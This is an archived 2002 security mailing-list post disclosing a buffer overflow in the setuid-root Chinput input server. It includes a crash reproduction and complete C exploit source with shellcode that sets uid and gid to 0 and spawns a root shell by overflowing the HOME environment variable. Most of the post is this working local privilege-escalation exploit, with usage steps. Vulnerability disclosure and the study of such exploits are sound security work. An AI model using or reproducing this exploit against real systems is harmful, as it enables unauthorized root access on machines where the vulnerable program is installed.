OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
From: xperc (xperchotmail.com)
Date: Wed Jan 16 2002 - 09:43:42 CST

  • Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

    ('binary' encoding is not supported, stored as-is) Hi, I'm xperc.

    I found a vulnerability in Chinput which could
    easily lead into a local root exploit. Chinput is
    a Chinese input server on UNIX/Linux. It supports
    XIM(X Input Method) Protocl and its own protocl
    for Chinese platform.

    $ls -l /usr/bin/chinput
    -rwsr-xr-x 1 root root 317272 Jan 15 21:31
    /usr/bin/chinput
    $export HOME=`perl -e 'print "a"x800'`
    $/usr/bin/chinput
    Segmentation fault


    /* local exploit for Chinput 3.0
     * .. tested in TurboLinux 6.5 with kernel 2.2.18
     *
     * Usage: $gcc chinput_exp.c
     * $./a.out
     * bash-2.04$ /usr/bin/chinput
     *
     * by xperchotmail.com
     * 2002/1/16
     */
                       
    #include <stdio.h>
    #include <stdlib.h>

    #define NOP 0x90
    #define OFS 0x1f0

    unsigned long get_esp()
    {
        __asm__("mov %esp,%eax");
    }

    char *shellcode=
        "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /*
    setuid=0 */
        "\x31\xc0\x31\xdb\xb0\x2e\xcd\x80" /*
    setgid=0 */
        "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b"
        "\x33\xd2\x89\x56\x07\x89\x56\x0f"
        "\xb8\x1b\x56\x34\x12\x35\x10\x56"
        "\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
        "\x80\x33\xc0\x40\xcd\x80\xe8\xd7"
        "\xff\xff\xff/bin/sh";
            

    char s[512];
    char *s1;

    int main()
    {
            strcpy(s,"HOME=");
            s1=s+5;
            while(s1<s+260+5-strlen(shellcode))
                *(s1++)=NOP;

            while(*shellcode)
                *(s1++)=*(shellcode++);
            *((unsigned long *)s1)=get_esp()-OFS;
            printf("Jump to: %p\n",*((long *)s1));
            s1+=4;
            *s1=0;
            putenv(s);
            system("bash");
    }